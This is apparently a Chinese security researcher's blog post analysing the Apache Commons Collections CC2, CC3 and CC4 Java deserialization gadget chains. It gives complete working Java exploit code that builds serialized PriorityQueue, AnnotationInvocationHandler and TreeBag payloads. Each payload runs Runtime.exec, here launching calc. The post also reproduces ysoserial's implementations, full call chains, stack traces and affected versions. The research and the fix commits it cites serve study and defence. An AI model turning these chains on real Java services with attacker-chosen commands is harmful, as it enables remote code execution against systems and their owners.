前景提要 https://lrui1.top/posts/42a999ad/
CC2 触发类是TemplatesImpl,自底向上分析一下
攻击链构造 TemplatesImpl TemplatesImpl.getTransletInstance()方法,将自身属性_class[_transletIndex]的值进行实例化,而且前面有对_class作判空处理,为空则调用defineTransletClasses方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
分析defineTransletClasses
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
先对_bytecodes作判空处理,随后获取TransletClassLoader类加载器;根据_bytecodes字节二维数组的行数,调用循环,对每行的bytecode数组使用loader.defineClass处理,将加载的Class存储到_class数组中。
随后获取加载类的父类,判断是否为ABSTRACT_TRANSLET,如果是,_transletIndex进行标记,意思是这个索引下的类是主类,如果不是则认为是辅助类
再回到getTransletInstance,在我们执行完defineTransletClasses逻辑后,只有主类才会被实例化,即_transletIndex索引标记的类
所以,我们可以编写一段测试代码,使用TemplatesImpl.getTransletInstance()来实现恶意字节码加载,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 @Test public void testTemplatesImpl_getTransletInstance () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); byte [] bytecode = cc.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); Class<?> cl = TemplatesImpl.class; Field byteCodeField = cl.getDeclaredField("_bytecodes" ); byteCodeField.setAccessible(true ); byteCodeField.set(templatesImpl, new byte [][]{bytecode}); Field nameField = cl.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templatesImpl, "lrui1" ); Field tFactoryField = cl.getDeclaredField("_tfactory" ); tFactoryField.setAccessible(true ); tFactoryField.set(templatesImpl, new TransformerFactoryImpl ()); Method method = cl.getDeclaredMethod("getTransletInstance" ); method.setAccessible(true ); method.invoke(templatesImpl); }
可以弹出计算器
继续往上找链,有且仅有一处调用,TemplatesImpl.newTransformer;继续往上找链,有3处调用;其中TemplatesImpl.getOutputProperties为自身调用。
因此,只要调用TemplatesImpl.getOutputProperties或TemplatesImpl.newTransformer,该类就会实例化其自身的bytecode二维数组,并实例化继承至AbstractTranslet的类。
继续Find Usage,没有其他调用了,只能使用InvokerTransformer来调用上述的两个公共方法了
前置知识可参考 https://lrui1.top/posts/7929b704/#相关类学习
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 @Test public void testTransformer () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); byte [] bytecode = cc.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); Class<?> cl = TemplatesImpl.class; Field byteCodeField = cl.getDeclaredField("_bytecodes" ); byteCodeField.setAccessible(true ); byteCodeField.set(templatesImpl, new byte [][]{bytecode}); Field nameField = cl.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templatesImpl, "lrui1" ); Field tFactoryField = cl.getDeclaredField("_tfactory" ); tFactoryField.setAccessible(true ); tFactoryField.set(templatesImpl, new TransformerFactoryImpl ()); ChainedTransformer chtr = new ChainedTransformer ( new ConstantTransformer (templatesImpl), new InvokerTransformer ("getOutputProperties" , null , null ) ); chtr.transform("随便输入" ); }
可弹出计算器,继续往上找链,TransformingComparator.compare方法存在调用transform
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 @Test public void testCompare () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); byte [] bytecode = cc.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); Class<?> cl = TemplatesImpl.class; Field byteCodeField = cl.getDeclaredField("_bytecodes" ); byteCodeField.setAccessible(true ); byteCodeField.set(templatesImpl, new byte [][]{bytecode}); Field nameField = cl.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templatesImpl, "lrui1" ); Field tFactoryField = cl.getDeclaredField("_tfactory" ); tFactoryField.setAccessible(true ); tFactoryField.set(templatesImpl, new TransformerFactoryImpl ()); ChainedTransformer chtr = new ChainedTransformer ( new ConstantTransformer (templatesImpl), new InvokerTransformer ("getOutputProperties" , null , null ) ); TransformingComparator trcm = new TransformingComparator (chtr); trcm.compare(1 , 2 ); }
TransformingComparator.compare()方法是接口Comparator中对compare方法的实现,继续往上找链,(77 results),反向找估计是行不通了,站在前人的肩膀上,我们发现PriorityQueue这个类存在调用compare
PriorityQueue.siftDownUsingComparator 这个方法是PriorityQueue,在反序列化时,对加入的元素进行排序的;对这个方法Find Usage,发现其被自身siftDown方法调用,siftDown又被自身heapify调用,heapify最后被自身readObject调用,于是一整条链成功串起
readObject代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
从heapify的方法描述上看,它是基于堆排序,对我们反序列化的数据进行排序,默认我们的数据是无序的。因此,测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 @Test public void testCC2 () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); byte [] bytecode = cc.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); Class<?> cl = TemplatesImpl.class; Field byteCodeField = cl.getDeclaredField("_bytecodes" ); byteCodeField.setAccessible(true ); byteCodeField.set(templatesImpl, new byte [][]{bytecode}); Field nameField = cl.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templatesImpl, "lrui1" ); Field tFactoryField = cl.getDeclaredField("_tfactory" ); tFactoryField.setAccessible(true ); tFactoryField.set(templatesImpl, new TransformerFactoryImpl ()); ChainedTransformer chtr = new ChainedTransformer ( new ConstantTransformer (templatesImpl), new InvokerTransformer ("getOutputProperties" , null , null ) ); TransformingComparator trcm = new TransformingComparator (chtr); PriorityQueue<Integer> payload = new PriorityQueue <>(); payload.add(1 ); payload.add(2 ); Field comparatorField = PriorityQueue.class.getDeclaredField("comparator" ); comparatorField.setAccessible(true ); comparatorField.set(payload, trcm); ObjectOutputStream ous = new ObjectOutputStream (new FileOutputStream ("CC2.bin" )); ous.writeObject(payload); } public static void main (String[] args) throws Exception { Scanner sc = new Scanner (System.in); String s = sc.nextLine(); ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(s))); Object o = ois.readObject(); ois.close(); System.out.println("unser successfully" ); User user = (User) o; System.out.println(user); sc.close(); }
CC2的利用版本依赖是4.0,之前一直在3.2.1上分析,TransformingComparator没实现Serializable接口,不能参与序列化;4.0版本实现了Serializable接口,才可以被利用
可弹出计算器
总结 整体调用链如下
1 2 3 4 5 6 7 8 9 10 11 PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance()
调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455 ) com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486 ) com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) org.apache.commons.collections4.functors.InvokerTransformer.transform(InvokerTransformer.java:129 ) org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112 ) org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81 ) java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721 ) java.util.PriorityQueue.siftDown(PriorityQueue.java:687 ) java.util.PriorityQueue.heapify(PriorityQueue.java:736 ) java.util.PriorityQueue.readObject(PriorityQueue.java:795 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) top.lrui1.Unser.main(Unser.java:20 )
依赖版本
commons-collections4 : 4.0
JDK:文章复现版本为1.8.0_65、1.8.0_202,暂不清楚JDK版本限制
基于TemplatesImpl构造的反序列化链,在Fastjson中也有利用到 https://lrui1.top/posts/d7cae60e/#fastjson-1-2-24
ysoserial的实现 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public Queue<Object> getObject (final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); final InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,new TransformingComparator (transformer)); queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(transformer, "iMethodName" , "newTransformer" ); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue" ); queueArray[0 ] = templates; queueArray[1 ] = 1 ; return queue; }
先创建一个TemplatesImpl模板,随后先初始化一个InvokeTransformer,让其transform执行tostring()
新建一个PriorityQueue,大小为2,重写Comparator
添加值后,将transform的方法从toString -> newTransformer
在通过反射,将其中的一个值改为templates实例——为的是再调用transform时,可作为参数传入(调用compare时,transform(templates))
我多套了一层ChainedTransformer,让ConstantTransformer直接返回templates实例,就不用再PriorityQueue中设置了
修复措施 https://github.com/apache/commons-collections/commit/e585cd0433ae4cfbc56e58572b9869bd0c86b611#diff-2d13b1592fb865090f134fe9d88dee2cb2e24170a5338d5df79a495b34b207a9
在4.1版本移除了对InvokerTransformer序列化的支持
CC3 相关类学习 类描述:通过反射创建新对象实例的Transformer实现,其transform代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
传入的必须是Class实例,随后获取其public声明的构造函数,进行实例化
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 @Test public void testInstantiateTransformer () throws Exception { InstantiateTransformer it = new InstantiateTransformer (null , null ); it.transform(CC3Test.class); } public static class CC3Test { public CC3Test () throws IOException { Runtime.getRuntime().exec("calc" ); } }
攻击链构造 之前在CC2的分析中,我们有一个结论:
只要调用TemplatesImpl.getOutputProperties或TemplatesImpl.newTransformer,该类就会实例化其自身的bytecode二维数组,并实例化继承至AbstractTranslet的类。
虽然这些方法是公共方法,但是InstantiateTransformer只能调用类的公共构造函数,那么有没有其他类的公共构造函数直接或间接调用上述的两个方法呢?
有的,对getOutputProperties、newTransformer Find Usage,发现com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter的public构造方法存在调用
代码如下
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
因此,调用 InstantiateTransformer.transform() -> TrAXFilter实例化 -> templates.newTransformer(),这一部分已经可以触发代码执行,测试代码如下
1 2 3 4 5 6 7 @Test public void testTransform () throws Exception { Templates calc = Gadget.CreateTemplateImpl("calc" ); InstantiateTransformer it = new InstantiateTransformer (new Class []{Templates.class}, new Object []{calc}); it.transform(TrAXFilter.class); }
Gadget.CreateTemplateImpl代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public static Templates CreateTemplateImpl (String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); String payload = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");" ; cc.makeClassInitializer().insertBefore(payload); byte [] bytecode = cc.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); Class<?> cl = TemplatesImpl.class; Field byteCodeField = cl.getDeclaredField("_bytecodes" ); byteCodeField.setAccessible(true ); byteCodeField.set(templatesImpl, new byte [][]{bytecode}); Field nameField = cl.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templatesImpl, "lrui1" ); Field tFactoryField = cl.getDeclaredField("_tfactory" ); tFactoryField.setAccessible(true ); tFactoryField.set(templatesImpl, new TransformerFactoryImpl ()); return templatesImpl; }
基于CC1构造Gadget CC1中我们采用了AnnotationInvocationHandler结合动态代理,触发LazyMap.get的方案,测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 @Test public void testCC3 () throws Exception { Templates calc = Gadget.CreateTemplateImpl("calc" ); ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{calc}) }); HashMap<String, String> hashMap = new HashMap <>(); hashMap.put("test" ,"test" ); Map decorate = LazyMap.decorate(hashMap, chainedTransformer); Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate); Map map = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class []{Map.class}, invoha ); Object payload = constructor.newInstance(Override.class, map); ObjectOutputStream ous = new ObjectOutputStream (new FileOutputStream ("CC3.bin" )); ous.writeObject(payload); System.out.println("ser successfully!" ); } public static void main (String[] args) throws Exception { Scanner sc = new Scanner (System.in); String s = sc.nextLine(); ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(s))); Object o = ois.readObject(); ois.close(); System.out.println("unser successfully" ); User user = (User) o; System.out.println(user); sc.close(); }
成功弹出计算器
总结 调用链如下
1 2 3 4 5 6 7 8 9 10 11 AnnotationInvocationHandler.readObject() (Map)Proxy4.entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() TrAXFilter.<init>(TrAXFilter.java:64 ) TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance()
调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455 ) com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486 ) com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64 ) sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1 ) sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62 ) sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45 ) java.lang.reflect.Constructor.newInstance(Constructor.java:422 ) org.apache.commons.collections.functors.InstantiateTransformer.transform(InstantiateTransformer.java:106 ) org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123 ) org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158 ) sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77 ) com.sun.proxy.$Proxy0.entrySet(Unknown Source:-1 ) sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) top.lrui1.Unser.main(Unser.java:20 )
影响版本
commons-collections : 3.1~3.2.1 JDK:不清楚,本文章1.8.0_65 仍可复现成功
ysoserial的实现 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public Object getObject (final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); final Transformer transformerChain = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (1 ) }); final Transformer[] transformers = new Transformer [] { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] { Templates.class }, new Object [] { templatesImpl } )}; final Map innerMap = new HashMap (); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); return handler; }
思路类似,区别是刚开始设置一个ConstantTransformer,在序列化之前使用真正的transformers进行替换
修复措施 https://github.com/apache/commons-collections/commit/bce4d022f27a723fa0e0b7484dcbf0afa2dd210a
使用工具类校验,重写了InstantiateTransformer的readObject方法,默认不对其进行序列化&反序列化
CC4 ysoserial的实现 ysoserial的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public Queue<Object> getObject (final String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer (String.class); Class[] paramTypes = new Class [] { String.class }; Object[] args = new Object [] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer ( paramTypes, args); paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes" ); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs" ); ChainedTransformer chain = new ChainedTransformer (new Transformer [] { constant, instantiate }); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , new TransformingComparator (chain)); queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(constant, "iConstant" , TrAXFilter.class); paramTypes[0 ] = Templates.class; args[0 ] = templates; return queue; }
显而易见,其是CC2的变种,CC2采用PriorityQueue触发compare触发InvokeTransformer,而CC4则是采用PriorityQueue触发compare触发InstantiateTransformer,由于知道其没啥新玩意,就不想之前的链一样调试截图了
TreeBag su18师傅给出了一个TreeBag触发compare的思路,大家可以查看原文 https://su18.org/post/ysoserial-su18-2/#commonscollections4
下文给出俺关于su18师傅思路的测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @Test public void testTreeBag () throws Exception { Templates calc = Gadget.CreateTemplateImpl("calc" ); ChainedTransformer chainedTransformer = new ChainedTransformer ( new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{calc}) ); ConstantTransformer normal = new ConstantTransformer (1 ); TransformingComparator trco = new TransformingComparator (normal); TreeBag trb = new TreeBag (trco); trb.add(1 ); trb.add(2 ); Field transformerField = TransformingComparator.class.getDeclaredField("transformer" ); transformerField.setAccessible(true ); transformerField.set(trco, chainedTransformer); ObjectOutputStream ous = new ObjectOutputStream (new FileOutputStream ("CC4.bin" )); ous.writeObject(trb); System.out.println("ser successfully" ); }
调用链如下
1 2 3 4 5 6 7 8 9 10 11 12 TreeBag.readObject() AbstractMapBag.doReadObject() TreeMap.put() TreeMap.compare() TransformingComparator.compare() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() TrAXFilter.<init>(TrAXFilter.java:64 ) TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance()
调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455 ) com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486 ) com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64 ) sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1 ) sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62 ) sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45 ) java.lang.reflect.Constructor.newInstance(Constructor.java:422 ) org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:116 ) org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32 ) org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112 ) org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81 ) java.util.TreeMap.compare(TreeMap.java:1291 ) java.util.TreeMap.put(TreeMap.java:538 ) org.apache.commons.collections.bag.AbstractMapBag.doReadObject(AbstractMapBag.java:513 ) org.apache.commons.collections.bag.TreeBag.readObject(TreeBag.java:112 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) top.lrui1.Unser.main(Unser.java:20 )
写在最后 吸收容易输出难啊,之前没输出感觉都白看了,继续肝吧
参考链接 https://su18.org/post/ysoserial-su18-2/#traxfilter
https://github.com/apache/commons-collections